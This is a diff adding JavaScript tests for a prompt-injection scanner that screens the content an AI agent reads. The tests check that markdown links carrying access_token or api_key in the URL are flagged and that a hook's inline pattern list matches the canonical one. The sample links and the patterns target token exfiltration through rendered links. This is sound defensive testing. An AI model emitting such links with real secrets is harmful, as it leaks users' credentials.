+    const result = scanForInjection('[x](https://api.example.com/data?foo=1&access_token=secret)');
+    assert.strictEqual(result.clean, false);
+    assert.ok(
+      result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-TOKEN-IN-QUERY'),
+    );
+  });
+
+  test('positive: ?api_key= is flagged', () => {
+    const result = scanForInjection('[x](https://api.example.com/?api_key=abc123)');
+    assert.strictEqual(result.clean, false);
+    assert.ok(
+      result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-TOKEN-IN-QUERY'),
+    );
+  });
+
+  test('negative: ?page=2&limit=10 does not fire (benign query keys)', () => {
+    const result = scanForInjection('[page](https://api.example.com/items?page=2&limit=10)');
+    assert.ok(
+      !Array.isArray(result.structuredFindings) ||
+      !result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-TOKEN-IN-QUERY'),
+      'benign query keys must not trigger MD-LINK-TOKEN-IN-QUERY',
+    );
+  });
+});
+
+// ─── Parity test: hook MARKDOWN_LINK_PATTERNS is superset of canonical ───────
+//
+// D1: Prevents future drift between scripts/security.cjs (canonical export)
+// and hooks/gsd-read-injection-scanner.js (inlined for hook independence).
+// If the hook's inline list does not contain every pattern from the canonical
+// export, this test fails loudly and forces a deliberate update.
+
+describe('MARKDOWN_LINK_PATTERNS parity: hook inline list is superset of canonical', () => {
+  test('every canonical MARKDOWN_LINK_PATTERN source string appears in the hook source', () => {
+    assert.ok(
+      Array.isArray(MARKDOWN_LINK_PATTERNS),
+      'security.cjs must export MARKDOWN_LINK_PATTERNS array',
+    );
+
+    const hookSource = fs.readFileSync(READ_SCANNER_HOOK, 'utf-8');
+
+    for (const entry of MARKDOWN_LINK_PATTERNS) {
+      // Each entry is { pattern: RegExp, ruleId: string, safePredicate?: Function }
+      assert.ok(entry.pattern instanceof RegExp, `entry must have a RegExp .pattern`);
+      const src = entry.pattern.source;
+      assert.ok(
+        hookSource.includes(src),
+        `Hook gsd-read-injection-scanner.js must contain pattern source: ${src}`,
+      );
+    }
+  });
+});
+
 // ─── validateShellArg + validatePhaseNumber + validateFieldName: focused negative cases ──
 
 describe('input validators: shell metacharacter and identifier rejection', () => {